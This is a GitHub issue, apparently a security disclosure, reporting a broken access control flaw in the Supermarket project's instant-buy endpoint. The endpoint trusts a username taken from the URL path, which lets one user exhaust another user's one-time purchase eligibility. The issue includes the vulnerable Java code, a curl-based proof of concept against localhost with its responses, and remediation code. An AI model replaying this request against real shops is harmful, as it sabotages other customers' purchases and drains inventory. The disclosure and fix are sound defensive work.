Skip to content

Supermarket /instantbuy/manage/{itemId}/{userName} – Arbitrary Username Seckill Status Contamination Vulnerability #30

Description

@360AlphaLab

Summary

The instant buy/seckill module in the Supermarket platform (master branch) contains a critical access control vulnerability. The endpoint GET /instantbuy/manage/{itemId}/{userName} accepts the userName parameter directly from the URL path without validating it against the authenticated user's identity. This allows an authenticated attacker to create seckill success records for arbitrary victim usernames, burning their one-time purchase eligibility and depleting inventory under the victim's name.

Details

Controller - trusts path parameter directly:

@RequestMapping(value = "/manage/{itemId}/{userName}", method = RequestMethod.GET)
public CommonResult<?> startBuy(
        @PathVariable("itemId") String itemId,
        @PathVariable("userName") String userName
) {
    if (userName == null)
        return CommonResult.unauthorized("用户尚未登录");
    this.instantBuyService.startBuy(itemId, userName);  // Uses attacker-controlled userName
    return CommonResult.success("开始抢购");
}

Service - propagates poisoned username to Redis & DB:

// Redis key: itemId + userName (attacker controls userName)
this.redisTemplate.opsForValue().set(itemId + userName, "SUCCESS", 1, TimeUnit.HOURS);

// RabbitMQ message contains userName
this.rabbitTemplate.convertSendAndReceive("instantBuyExchange", "instantBuy", itemId + userName);

Consumer - writes poisoned data to database:

String userName = msg.substring(36, msg.length());
this.instantBuyDao.insertItemSuccess(new InstantBuySuccess(
    null, itemId, userName, 0, date
));

Affected files:

instant-buy/src/main/java/com/supermarket/instantbuy/controller/InstantBuyController.java

instant-buy/src/main/java/com/supermarket/instantbuy/service/InstantBuyServiceImpl.java

instant-buy/src/main/java/com/supermarket/instantbuy/service/Consumer.java

zuul-gateway/src/main/resources/application.properties (custom.uri.check does not contain /instantbuy/**)

POC

1. Attacker finds seckill item ID: 123e4567-e89b-12d3-a456-426614174000
2. Attacker sends:
   GET /instantbuy/manage/123e4567-e89b-12d3-a456-426614174000/victimUser
   
3. System:
   - Decrements inventory (5 → 4)
   - Sets Redis key: "123e4567...victimUser" = "SUCCESS"
   - Inserts DB record: {item_id, user_name: "victimUser"}
   
4. Victim later tries to purchase:
   GET /instantbuy/manage/123e4567.../victimUser
   
5. System:
   - Checks Redis: "123e4567...victimUser" exists
   - Returns: "您已经秒杀过该商品" (Already purchased)
   
RESULT: Victim's one-time seckill eligibility is permanently burned

PoC - Verification

Pre-Attack State

# Check inventory
curl http://localhost:8085/instantbuy/verify/item
# Response: number = 5

# Check success records
curl http://localhost:8085/instantbuy/verify/success
# Response: []

Attack

curl "http://localhost:8085/instantbuy/manage/123e4567-e89b-12d3-a456-426614174000/victimUser"
# Response: {"status":200,"message":"操作成功"}

Post-Attack State

# Inventory decreased
curl http://localhost:8085/instantbuy/verify/item
# Response: number = 4

# Victim record inserted
curl http://localhost:8085/instantbuy/verify/success
# Response: [{"user_name": "victimUser"}]

# Redis marker set
curl http://localhost:8085/instantbuy/verify/redis
# Response: {"123e4567...victimUser": "SUCCESS"}

Victim Attempts Purchase

curl "http://localhost:8085/instantbuy/manage/123e4567.../victimUser"
# Response: {"status":201,"message":"您已经秒杀过该商品"}

Remediation

Fix - Use Authenticated User Only

@PostMapping("/manage/{itemId}")
public CommonResult<?> startBuy(
        @PathVariable("itemId") String itemId,
        Authentication authentication
) {
    String userName = authentication.getName();  // ✅ From security context
    instantBuyService.startBuy(itemId, userName);
    return CommonResult.success("开始抢购");
}

Alternative - Validate Path Parameter

@GetMapping("/manage/{itemId}/{userName}")
public CommonResult<?> startBuy(
        @PathVariable("itemId") String itemId,
        @PathVariable("userName") String userName,
        Authentication authentication
) {
    String currentUser = authentication.getName();
    if (!currentUser.equals(userName)) {  // ✅ Enforce ownership
        return CommonResult.forbidden("Cannot act on behalf of other users");
    }
    instantBuyService.startBuy(itemId, userName);
    return CommonResult.success("开始抢购");
}

Additional Fix - Check Before Decrement

// Check duplicate purchase BEFORE decrementing inventory
Boolean itemUser = this.redisTemplate.hasKey(itemId + userName);
if (itemUser != null && itemUser) {
    throw new MsgException("您已经秒杀过该商品");
}
// Then decrement inventory
long number = this.redisTemplate.opsForHash().increment("INSTANT_" + itemId, "number", -1);

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions